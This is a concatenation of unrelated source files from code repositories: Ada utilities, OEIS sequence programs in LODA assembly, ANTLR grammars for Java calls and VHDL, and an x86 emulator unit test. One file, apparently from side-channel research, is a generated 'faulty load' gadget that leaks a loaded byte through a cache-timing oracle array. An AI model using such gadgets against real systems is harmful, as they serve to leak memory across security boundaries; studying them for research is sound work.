begin for Check of Checks_List loop Tree.Insert_Child (Parent => PI_Node, Before => Entity.Tree.No_Element, New_Item => Checks_Sentinel' (Entity.T with Has_Failed_Attempts => True, Is_Unproved => True), Position => PA_Node); for Attempt of Check loop Tree.Insert_Child (Parent => PA_Node, Before => Entity.Tree.No_Element, New_Item => Attempt); end loop; -- Replace the Checks_Sentinel with proper data. Tree.Replace_Element (Position => PA_Node, New_Item => Checks_Sentinel' (Entity.T with Has_Failed_Attempts => Check.Has_Failed_Attempts, Is_Unproved => Check.Is_Unproved)); end loop; end; -- And finally replace the sentinel node with the full object. declare Has_Failed_Attempts : constant Boolean := (for some Check of Checks_List => Check.Has_Failed_Attempts); Has_Unproved_Attempts : constant Boolean := (for some Check of Checks_List => Check.Is_Unproved); Is_Unjustified : constant Boolean := Has_Unproved_Attempts and then Suppressed_Msg = Justification (Null_Name); begin Tree.Replace_Element (Position => PI_Node, New_Item => T'(Entity_Location.Create (Object => Object) with Suppressed => Suppressed_Msg, Rule => Rule_Name (Subject_Name'(Object.Get (Field => Field_Names.Rule))), Severity => Severity_Name (Subject_Name'(Object.Get (Field => Field_Names.Severity))), Max_Success => (if Has_Unproved_Attempts then None else Max_Success), Max_Proof => Max_Proof, Total_Time => Total_Time, Id => Proof_Item_Ids.Next, Has_Failed_Attempts => Has_Failed_Attempts, Has_Unproved_Attempts => Has_Unproved_Attempts, Is_Unjustified => Is_Unjustified)); end; end; end Add_To_Tree; --------------------------------------------------------------------------- -- Create --------------------------------------------------------------------------- overriding function Create (Object : in JSON_Value) return T is (raise Program_Error with "Create should not be called. Instead call Add_To_Tree."); end SPAT.Proof_Item;
oeis/019/A019476.asm
neoneye/loda-programs
11
168261
; A019476: a(n) = 5*a(n-1) + a(n-2) - 2*a(n-3). ; Submitted by <NAME>(s4) ; 2,10,51,261,1336,6839,35009,179212,917391,4696149,24039712,123059927,629947049,3224715748,16507405935,84501851325,432567231064,2214323194775,11335179502289,58025086244092 mov $3,1 mov $4,2 lpb $0 sub $0,1 add $1,$4 add $2,$3 add $2,6 add $2,$4 mov $3,$4 mov $4,$1 mul $4,3 add $4,$2 mov $2,$3 sub $4,5 lpe mov $0,$4
source/xml/sax/xml-sax-input_sources-streams-files-naming_utilities__windows.adb
svn2github/matreshka
24
11031
<gh_stars>10-100 ------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- XML Processor -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2011-2017, <NAME> <<EMAIL>> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ -- This is implementation of package for Microsoft Windows. ------------------------------------------------------------------------------ with League.Strings.Internals; with League.Text_Codecs; with Matreshka.Internals.Strings.C; with Matreshka.Internals.Utf16; with Matreshka.Internals.Windows; separate (XML.SAX.Input_Sources.Streams.Files) package body Naming_Utilities is use Matreshka.Internals.Windows; use type League.Strings.Universal_String; subtype HRESULT is LONG; subtype PCWSTR is LPCWSTR; subtype PWSTR is LPWSTR; MAX_PATH : constant := 260; INTERNET_MAX_URL_LENGTH : constant := 32 + 3 + 2048; function GetFullPathName (lpFileName : LPCWSTR; nBufferLength : DWORD; lpBuffer : LPWSTR; lpFilePart : out LPWSTR) return DWORD; pragma Import (Stdcall, GetFullPathName, "GetFullPathNameW"); function PathCreateFromUrl (pszUrl : PCWSTR; pszPath : PWSTR; pcchPath : in out DWORD; dwFlags : DWORD) return HRESULT; pragma Import (Stdcall, PathCreateFromUrl, "PathCreateFromUrlW"); function UrlCreateFromPath (pszPath : PCWSTR; pszUrl : PWSTR; pcchUrl : in out DWORD; dwFlags : DWORD) return HRESULT; pragma Import (Stdcall, UrlCreateFromPath, "UrlCreateFromPathW"); ------------------- -- Absolute_Name -- ------------------- function Absolute_Name (Name : League.Strings.Universal_String) return League.Strings.Universal_String is Result : Matreshka.Internals.Strings.Shared_String_Access; Size : DWORD; Valid : Boolean; Dummy : LPWSTR; pragma Warnings (Off, Dummy); begin Size := GetFullPathName (League.Strings.Internals.Internal (Name).Value (0)'Access, 0, null, Dummy); Result := Matreshka.Internals.Strings.Allocate (Matreshka.Internals.Utf16.Utf16_String_Index (Size)); Size := GetFullPathName (League.Strings.Internals.Internal (Name).Value (0)'Access, DWORD (Result.Capacity), Result.Value (0)'Access, Dummy); Matreshka.Internals.Strings.C.Validate_And_Fixup (Result, Matreshka.Internals.Utf16.Utf16_String_Index (Size), Valid); return League.Strings.Internals.Wrap (Result); end Absolute_Name; ---------------------- -- File_Name_To_URI -- ---------------------- function File_Name_To_URI (File_Name : League.Strings.Universal_String) return League.Strings.Universal_String is Result : Matreshka.Internals.Strings.Shared_String_Access := Matreshka.Internals.Strings.Allocate (INTERNET_MAX_URL_LENGTH); Size : DWORD := INTERNET_MAX_URL_LENGTH; Valid : Boolean; Dummy : HRESULT; pragma Warnings (Off, Dummy); begin Dummy := UrlCreateFromPath (League.Strings.Internals.Internal (File_Name).Value (0)'Access, Result.Value (0)'Access, Size, 0); Matreshka.Internals.Strings.C.Validate_And_Fixup (Result, Matreshka.Internals.Utf16.Utf16_String_Index (Size), Valid); return League.Strings.Internals.Wrap (Result); end File_Name_To_URI; -------------------------- -- To_Ada_RTL_File_Name -- -------------------------- function To_Ada_RTL_File_Name (Name : League.Strings.Universal_String) return String is Aux : constant Ada.Streams.Stream_Element_Array := League.Text_Codecs.Codec_For_Application_Locale.Encode (Name).To_Stream_Element_Array; Result : String (1 .. Aux'Length); for Result'Address use Aux'Address; begin return Result; end To_Ada_RTL_File_Name; ---------------------- -- URI_To_File_Name -- ---------------------- function URI_To_File_Name (URI : League.Strings.Universal_String) return League.Strings.Universal_String is Result : Matreshka.Internals.Strings.Shared_String_Access := Matreshka.Internals.Strings.Allocate (MAX_PATH); Size : DWORD := MAX_PATH; Valid : Boolean; Dummy : HRESULT; pragma Warnings (Off, Dummy); begin Dummy := PathCreateFromUrl (League.Strings.Internals.Internal (URI).Value (0)'Access, Result.Value (0)'Access, Size, 0); Matreshka.Internals.Strings.C.Validate_And_Fixup (Result, Matreshka.Internals.Utf16.Utf16_String_Index (Size), Valid); return League.Strings.Internals.Wrap (Result); end URI_To_File_Name; end Naming_Utilities;
specs/ada/common/tkmrpc-request-ike-cc_check_ca-convert.ads
DrenfongWong/tkm-rpc
0
12478
<reponame>DrenfongWong/tkm-rpc with Ada.Unchecked_Conversion; package Tkmrpc.Request.Ike.Cc_Check_Ca.Convert is function To_Request is new Ada.Unchecked_Conversion ( Source => Cc_Check_Ca.Request_Type, Target => Request.Data_Type); function From_Request is new Ada.Unchecked_Conversion ( Source => Request.Data_Type, Target => Cc_Check_Ca.Request_Type); end Tkmrpc.Request.Ike.Cc_Check_Ca.Convert;
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_158.asm
ljhsiun2/medusa
9
241879
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r9 push %rbx push %rdx lea addresses_D_ht+0x109a9, %r10 nop xor $30972, %r9 vmovups (%r10), %ymm4 vextracti128 $1, %ymm4, %xmm4 vpextrq $1, %xmm4, %rdx nop add $11937, %rbx pop %rdx pop %rbx pop %r9 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r9 push %rax push %rdi push %rdx // Store mov $0x61, %rdi nop inc %rax mov $0x5152535455565758, %rdx movq %rdx, %xmm1 vmovups %ymm1, (%rdi) nop nop nop nop add $53736, %rdi // Faulty Load lea addresses_PSE+0xaf19, %rdi nop nop nop add $52531, %rax mov (%rdi), %r11w lea oracles, %rdx and $0xff, %r11 shlq $12, %r11 mov (%rdx,%r11,1), %r11 pop %rdx pop %rdi pop %rax pop %r9 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_PSE', 'congruent': 0}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_P', 'congruent': 3}, 'OP': 'STOR'} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_PSE', 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_D_ht', 'congruent': 4}} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
SempredTranslation/Parser/JavaFunctionCall.g4
studentmain/SempredTranslation
0
487
grammar JavaFunctionCall; call : ('this' '.')? Identifier '(' parameters? ')' ';'? ; parameters : literal (',' literal )* ; literal : Integer | FloatingPoint | Null | Boolean | Character | String ; Integer : Sign? ( '0' | [1-9] Digit* | '0' [xX] HexDigit+ | '0' OctalDigit+ | '0' [bB] [01]+ ) ; fragment Digit : [0-9] ; fragment HexDigit : [0-9a-fA-F] ; fragment OctalDigit : [0-7] ; FloatingPoint : Digits '.' Digits? ExponentPart? [dDfF]? | '.' Digits ExponentPart? [dDfF]? | Digits ExponentPart [dDfF]? | Digits [dDfF] ; fragment ExponentPart : [eE] Sign? Digits ; fragment Sign : [+-] ; fragment Digits : [0-9]+ ; Null : 'null' ; Boolean : 'true' | 'false' ; Character : '\'' SingleCharacter '\'' | '\'' EscapeSequence '\'' ; fragment SingleCharacter : ~['\\\r\n] ; String : '"' StringCharacter+ '"' ; fragment StringCharacter : ~["\\\r\n] | EscapeSequence ; fragment EscapeSequence : '\\' [btnfr"'\\] | OctalEscape | UnicodeEscape ; fragment OctalEscape : '\\' [0-3]? OctalDigit OctalDigit? ; fragment UnicodeEscape : '\\' 'u' HexDigit HexDigit HexDigit HexDigit ; Identifier : JavaLetter JavaLetterOrDigit* ; fragment JavaLetter : [\p{L}] | [\p{Nl}] | [\p{Pc}] | [\p{Sc}] ; fragment JavaLetterOrDigit : JavaLetter | [\p{Mn}] | [\p{Mc}] | [\p{Nd}] | [\p{Cf}] | [\u{00000000}-\u{00000008}] | [\u{0000000E}-\u{0000001B}] | [\u{0000007F}-\u{0000009F}] ; WS : ' ' -> skip ;
unittests/ASM/MOVHPD.asm
cobalt2727/FEX
628
177866
%ifdef CONFIG { "Match": "All", "RegData": { "RAX": "0xDEADBEEFBAD0DAD1", "RCX": "0xDEADBEEFBAD0DAD1", "XMM0": ["0", "0xDEADBEEFBAD0DAD1"] }, "MemoryRegions": { "0x100000000": "4096" } } %endif ; Data we want to store mov rax, 0xDEADBEEFBAD0DAD1 ; Starting address to store to mov rdi, 0xe8000000 pxor xmm0, xmm0 pxor xmm1, xmm1 mov [rdi], rax movhpd xmm0, [rdi] movhpd [rdi + 8], xmm0 xor rcx, rcx mov rcx, [rdi + 8] hlt
programs/oeis/055/A055944.asm
neoneye/loda
22
160562
<reponame>neoneye/loda ; A055944: a(n) = n + (reversal of base-2 digits of n) (written in base 10). ; 0,2,3,6,5,10,9,14,9,18,15,24,15,24,21,30,17,34,27,44,25,42,35,52,27,44,37,54,35,52,45,62,33,66,51,84,45,78,63,96,45,78,63,96,57,90,75,108,51,84,69,102,63,96,81,114,63,96,81,114,75,108,93,126,65,130,99,164,85,150,119,184,81,146,115,180,101,166,135,200,85,150,119,184,105,170,139,204,101,166,135,200,121,186,155,220,99,164,133,198 mov $2,$0 mov $3,$0 lpb $2 sub $0,$4 div $2,2 sub $0,$2 mov $4,$2 sub $4,$0 lpe add $0,$3
programs/oeis/180/A180673.asm
jmorken/loda
1
24028
; A180673: a(n) = Fibonacci(n+8) - Fibonacci(8). ; 0,13,34,68,123,212,356,589,966,1576,2563,4160,6744,10925,17690,28636,46347,75004,121372,196397,317790,514208,832019,1346248,2178288,3524557,5702866,9227444,14930331,24157796,39088148,63245965,102334134,165580120,267914275,433494416,701408712,1134903149,1836311882,2971215052,4807526955,7778742028,12586269004,20365011053,32951280078,53316291152,86267571251,139583862424,225851433696,365435296141,591286729858,956722026020,1548008755899,2504730781940,4052739537860,6557470319821,10610209857702,17167680177544,27777890035267,44945570212832,72723460248120,117669030460973,190392490709114,308061521170108,498454011879243,806515533049372,1304969544928636,2111485077978029,3416454622906686,5527939700884736,8944394323791443 add $0,4 mov $1,6 mov $2,4 lpb $0 sub $0,1 mov $3,$2 mov $2,$1 add $1,$3 lpe sub $1,42 div $1,2
grammars/vhdl.g4
martinda/hdlConvertor
0
4490
/* * Grammar extracted from the 2008 standard */ grammar vhdl; PROCESS: P R O C E S S; CONTEXT: C O N T E X T; POSTPONED: P O S T P O N E D; LINKAGE: L I N K A G E; COMPONENT: C O M P O N E N T; ABS: A B S; DEFAULT: D E F A U L T; UX: U X; THEN: T H E N; BLOCK: B L O C K; REM: R E M; INERTIAL: I N E R T I A L; NEXT: N E X T; ENTITY: E N T I T Y; ON: O N; GROUP: G R O U P; XNOR: X N O R; FILE: F I L E; PURE: P U R E; GUARDED: G U A R D E D; GENERIC: G E N E R I C; RANGE: R A N G E; ELSE: E L S E; USE: U S E; SHARED: S H A R E D; MOD: M O D; LOOP: L O O P; RECORD: R E C O R D; SIGNAL: S I G N A L; REJECT: R E J E C T; BEGIN: B E G I N; SLA: S L A; DISCONNECT: D I S C O N N E C T; OF: O F; PROCEDURE: P R O C E D U R E; SRL: S R L; SO: S O; VUNIT: V U N I T; ATTRIBUTE: A T T R I B U T E; VARIABLE: V A R I A B L E; PROPERTY: P R O P E R T Y; UNAFFECTED: U N A F F E C T E D; XOR: X O R; REGISTER: R E G I S T E R; SUBTYPE: S U B T Y P E; UO: U O; TO: T O; NEW: N E W; REPORT: R E P O R T; CONSTANT: C O N S T A N T; BUFFER: B U F F E R; BODY: B O D Y; AFTER: A F T E R; TRANSPORT: T R A N S P O R T; FUNCTION: F U N C T I O N; END: E N D; SELECT: S E L E C T; OR: O R; LIBRARY: L I B R A R Y; SX: S X; ELSIF: E L S I F; SLL: S L L; MAP: M A P; SRA: S R A; PROTECTED: P R O T E C T E D; DOWNTO: D O W N T O; LABEL: L A B E L; ALL: A L L; ALIAS: A L I A S; GENERATE: G E N E R A T E; NOR: N O R; IN: I N; RELEASE: R E L E A S E; SB: S B; EXIT: E X I T; RETURN: R E T U R N; WITH: W I T H; UNTIL: U N T I L; AND: A N D; INOUT: I N O U T; WAIT: W A I T; NAND: N A N D; ARRAY: A R R A Y; FORCE: F O R C E; UB: U B; WHILE: W H I L E; IMPURE: I M P U R E; PACKAGE: P A C K A G E; UNITS: U N I T S; ASSERT: A S S E R T; PARAMETER: P A R A M E T E R; SEVERITY: S E V E R I T Y; LITERAL: L I T E R A L; FOR: F O R; ROR: R O R; IF: I F; OUT: O U T; ROL: R O L; IS: I S; SEQUENCE: S E Q U E N C E; OTHERS: O T H E R S; TYPE: T Y P E; CASE: C A S E; NOT: N O T; CONFIGURATION: C O N F I G U R A T I O N; OPEN: O P E N; ARCHITECTURE: A R C H I T E C T U R E; BUS: B U S; ACCESS: A C C E S S; WHEN: W H E N; PORT: P O R T; NULL_SYM: N U L L; any_keyword: PROCESS |CONTEXT |POSTPONED |LINKAGE |COMPONENT |ABS |DEFAULT |UX |THEN |BLOCK |REM |INERTIAL |NEXT |ENTITY |ON |GROUP |XNOR |FILE |PURE |GUARDED |GENERIC |RANGE |ELSE |USE |SHARED |MOD |LOOP |RECORD |SIGNAL |REJECT |BEGIN |SLA |DISCONNECT |OF |PROCEDURE |SRL |SO |VUNIT |ATTRIBUTE |VARIABLE |PROPERTY |UNAFFECTED |XOR |REGISTER |SUBTYPE |UO |TO |NEW |REPORT |CONSTANT |BUFFER |BODY |AFTER |TRANSPORT |FUNCTION |END |SELECT |OR |LIBRARY |SX |ELSIF |SLL |MAP |SRA |PROTECTED |DOWNTO |LABEL |ALL |ALIAS |GENERATE |NOR |IN |RELEASE |SB |EXIT |RETURN |WITH |UNTIL |AND |INOUT |WAIT |NAND |ARRAY |FORCE |UB |WHILE |IMPURE |PACKAGE |UNITS |ASSERT |PARAMETER |SEVERITY |LITERAL |FOR |ROR |IF |OUT |ROL |IS |SEQUENCE |OTHERS |TYPE |CASE |NOT |CONFIGURATION |OPEN |ARCHITECTURE |BUS |ACCESS |WHEN |PORT |NULL_SYM ; // case insensitive chars fragment A:('a'|'A'); fragment B:('b'|'B'); fragment C:('c'|'C'); fragment D:('d'|'D'); fragment E:('e'|'E'); fragment F:('f'|'F'); fragment G:('g'|'G'); fragment H:('h'|'H'); fragment I:('i'|'I'); fragment J:('j'|'J'); fragment K:('k'|'K'); fragment L:('l'|'L'); fragment M:('m'|'M'); fragment N:('n'|'N'); fragment O:('o'|'O'); fragment P:('p'|'P'); fragment Q:('q'|'Q'); fragment R:('r'|'R'); fragment S:('s'|'S'); fragment T:('t'|'T'); fragment U:('u'|'U'); fragment V:('v'|'V'); fragment W:('w'|'W'); fragment X:('x'|'X'); fragment Y:('y'|'Y'); fragment Z:('z'|'Z'); fragment EXTENDED_DIGIT: DIGIT | LETTER; fragment BASE_SPECIFIER: B | O | X | UB | UO | UX | SB | SO | SX | D; // [note] GRAPHIC_CHARACTER group wa reworked in order to resolve Ambiguity fragment GRAPHIC_CHARACTER: SPECIAL_CHARACTER | LETTER_OR_DIGIT | OTHER_SPECIAL_CHARACTER ; // [TODO] DBLQUOTE | fragment SPECIAL_CHARACTER: HASHTAG | AMPERSAND | APOSTROPHE | LPAREN | RPAREN | MUL | PLUS | COMMA | MINUS | DOT | DIV | COLON | SEMI | LT | EQ | GT | QUESTIONMARK | AT | '[' | ']' | UNDERSCORE | GRAVE_ACCENT | BAR; fragment OTHER_SPECIAL_CHARACTER: '!' | '$' | '%' | UP | '{' | '}' | '~' | SPACE_CHARACTER | 'Ў' | 'ў' | 'Ј' | '¤' | 'Ґ' | '¦' | '§' | 'Ё' | '©' | 'Є' | '«' | '¬' | '­' | '®' | 'Ї' | '°' | '±' | 'І' | 'і' | 'ґ' | 'µ' | '¶' | '·' | 'ё' | '№' | 'є' | '»' | 'ј' | 'Ѕ' | 'ѕ' | 'ї' | 'А' | 'Б' | 'В' | 'Г' | 'Д' | 'Е' | 'Ж' | 'З' | 'И' | 'Й' | 'К' | 'Л' | 'М' | 'Н' | 'О' | 'П' | 'Р' | 'С' | 'Т' | 'У' | 'Ф' | 'Х' | 'Ц' | 'Ч' | 'Ш' | 'Щ' | 'Ъ' | 'Ы' | 'Ь' | 'Э' | 'Ю' | 'Я' | 'а' | 'б' | 'в' | 'г' | 'д' | 'е' | 'ж' | 'з' | 'и' | 'й' | 'к' | 'л' | 'м' | 'н' | 'о' | 'п' | 'р' | 'с' | 'т' | 'у' | 'ф' | 'х' | 'ц' | 'ч' | 'ш' | 'щ' | 'ъ' | 'ы' | 'ь' | 'э' | 'ю' | 'я' ; fragment LETTER_OR_DIGIT: LETTER | DIGIT; fragment LETTER: 'A'..'Z' | 'a'..'z'; // name: // simple_name // | operator_symbol // | character_literal // | selected_name // | indexed_name // | slice_name // | attribute_name // | external_name // ; // prefix: // name // | function_call // ; // indexed_name: prefix LPAREN expression ( COMMA expression )* RPAREN; // slice_name: prefix LPAREN discrete_range RPAREN; // attribute_name: // prefix ( signature )? APOSTROPHE attribute_designator ( LPAREN expression RPAREN )? // ; // // changed to avoid left-recursion to name (from selected_name, indexed_name, // slice_name, and attribute_name, respectively) // (2.2.2004, e.f.) name: name_part ( DOT name_part)* | external_name ; name_part: selected_name (name_part_specificator)* ; name_part_specificator: name_attribute_part | LPAREN (name_function_call_or_indexed_part | name_slice_part) RPAREN ; name_attribute_part: APOSTROPHE attribute_designator ( expression ( COMMA expression )* )? ; name_function_call_or_indexed_part: actual_parameter_part?; name_slice_part: explicit_range ( COMMA explicit_range )*; explicit_range: simple_expression direction simple_expression ; selected_name: identifier (DOT suffix)* ; entity_declaration: ENTITY identifier IS entity_header entity_declarative_part ( BEGIN entity_statement_part )? END ( ENTITY )? ( simple_name )? SEMI ; entity_header: ( generic_clause )? ( port_clause )? ; entity_declarative_part: ( entity_declarative_item )* ; entity_declarative_item: subprogram_declaration | subprogram_body | subprogram_instantiation_declaration | package_declaration | package_body | package_instantiation_declaration | type_declaration | subtype_declaration | constant_declaration | signal_declaration | variable_declaration | file_declaration | alias_declaration ; entity_statement_part: ( entity_statement )* ; entity_statement: concurrent_assertion_statement | concurrent_procedure_call_statement ; architecture_body: ARCHITECTURE identifier OF name IS architecture_declarative_part BEGIN architecture_statement_part END ( ARCHITECTURE )? ( simple_name )? SEMI ; architecture_declarative_part: ( block_declarative_item )* ; block_declarative_item: subprogram_declaration | subprogram_body | subprogram_instantiation_declaration | package_declaration | package_body | package_instantiation_declaration | type_declaration | subtype_declaration | constant_declaration | signal_declaration | variable_declaration | file_declaration | alias_declaration | component_declaration | attribute_declaration | attribute_specification | configuration_specification | disconnection_specification | use_clause | group_template_declaration | group_declaration ; architecture_statement_part: ( concurrent_statement )* ; configuration_declaration: CONFIGURATION identifier OF name IS configuration_declarative_part ( verification_unit_binding_indication SEMI )* block_configuration END ( CONFIGURATION )? ( simple_name )? SEMI ; configuration_declarative_part: ( configuration_declarative_item )* ; configuration_declarative_item: use_clause | attribute_specification | group_declaration ; block_configuration: FOR block_specification ( use_clause )* ( configuration_item )* END FOR SEMI ; block_specification: name | label | label ( LPAREN generate_specification RPAREN )? ; generate_specification: discrete_range | expression | label ; configuration_item: block_configuration | component_configuration ; component_configuration: FOR component_specification ( binding_indication SEMI )? ( verification_unit_binding_indication SEMI )* ( block_configuration )? END FOR SEMI ; subprogram_declaration: subprogram_specification SEMI ; subprogram_specification: procedure_specification | function_specification ; procedure_specification: PROCEDURE designator subprogram_header ( ( PARAMETER )? LPAREN formal_parameter_list RPAREN )? ; function_specification: ( PURE IMPURE )? FUNCTION designator subprogram_header ( ( PARAMETER )? LPAREN formal_parameter_list RPAREN )? RETURN type_mark ; subprogram_header: ( GENERIC LPAREN generic_list RPAREN ( generic_map_aspect )? )? ; designator: identifier | operator_symbol; operator_symbol: STRING_LITERAL; formal_parameter_list: interface_list; subprogram_body: subprogram_specification IS subprogram_declarative_part BEGIN subprogram_statement_part END ( subprogram_kind )? ( designator )? SEMI ; subprogram_declarative_part: ( subprogram_declarative_item )* ; subprogram_declarative_item: subprogram_declaration | subprogram_body | subprogram_instantiation_declaration | package_declaration | package_body | package_instantiation_declaration | type_declaration | subtype_declaration | constant_declaration | variable_declaration | file_declaration | alias_declaration | attribute_declaration | attribute_specification | use_clause | group_template_declaration | group_declaration ; subprogram_statement_part: ( sequential_statement )* ; subprogram_kind: PROCEDURE | FUNCTION; subprogram_instantiation_declaration: subprogram_kind designator IS NEW name ( signature )? ( generic_map_aspect )? SEMI ; signature: type_mark ( COMMA type_mark )* | type_mark ( COMMA type_mark )* RETURN type_mark | RETURN type_mark ; package_declaration: PACKAGE identifier IS package_header package_declarative_part END ( PACKAGE )? ( simple_name )? SEMI ; package_header: ( generic_clause ( generic_map_aspect SEMI )? )? ; package_declarative_part: ( package_declarative_item )* ; package_declarative_item: subprogram_declaration | subprogram_instantiation_declaration | package_declaration | package_instantiation_declaration | type_declaration | subtype_declaration | constant_declaration | signal_declaration | variable_declaration | file_declaration | alias_declaration | component_declaration | attribute_declaration | attribute_specification | disconnection_specification | use_clause | group_template_declaration | group_declaration ; package_body: PACKAGE BODY simple_name IS package_body_declarative_part END ( PACKAGE BODY )? ( simple_name )? SEMI ; package_body_declarative_part: ( package_body_declarative_item )* ; package_body_declarative_item: subprogram_declaration | subprogram_body | subprogram_instantiation_declaration | package_declaration | package_body | package_instantiation_declaration | type_declaration | subtype_declaration | constant_declaration | variable_declaration | file_declaration | alias_declaration | attribute_declaration | attribute_specification | use_clause | group_template_declaration | group_declaration ; package_instantiation_declaration: PACKAGE identifier IS NEW name ( generic_map_aspect )? SEMI ; scalar_type_definition: enumeration_type_definition | integer_type_definition | floating_type_definition | physical_type_definition ; range_constraint: RANGE range; range: attribute_name | simple_expression direction simple_expression ; direction: TO | DOWNTO; enumeration_type_definition: LPAREN enumeration_literal ( COMMA enumeration_literal )* RPAREN ; enumeration_literal: identifier | CHARACTER_LITERAL; integer_type_definition: range_constraint; physical_type_definition: range_constraint UNITS primary_unit_declaration ( secondary_unit_declaration )* END UNITS ( simple_name )? ; 